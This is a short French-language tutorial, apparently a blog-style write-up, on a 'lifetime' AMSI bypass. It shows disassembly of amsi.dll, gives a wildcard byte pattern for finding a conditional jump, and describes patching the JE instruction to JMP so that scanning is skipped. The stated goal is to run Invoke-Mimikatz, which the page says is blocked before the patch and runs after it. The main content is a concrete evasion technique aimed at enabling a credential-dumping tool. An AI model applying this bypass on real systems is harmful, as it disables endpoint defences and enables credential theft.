
Lifetime AMSI bypass
nous obtenons l'adresse exacte de l'instruction de saut en recherchant le premier octet de chaque instruction. Cette technique reste efficace même face à des mises à jour ou des modifications de l'ensemble de données cible.
par exemple :
| 48:85D2 | test rdx, rdx |
| 74 3F | je amsi.7FFAE957C694 |
| 48 : 85C9 | test rcx, rcx |
| 74 3A | je amsi.7FFAE957C694 |
| 48 : 8379 08 00 | cmp qword ptr ds : [rcx + 8] , 0 |
| 74 33 | je amsi.7FFAE957C694 |
le motif de recherche sera le suivant :
{ 0x48,'?','?', 0x74,'?',0x48,'?' ,'?' ,0x74,'?' ,0x48,'?' ,'?' ,'?' ,'?',0x74,0x33}

Le programme teste la valeur de RDX avec elle-même. Si la comparaison donne 0, le programme exécute un saut pour revenir. Sinon, le programme poursuit avec l'instruction suivante.

nous ne pouvons pas exécuter "Invoke-Mimikatz"

nous patchons le premier octet et le changeons de JE en JMP afin qu'il revienne directement.


maintenant nous exécutons "Invoke-Mimikatz"
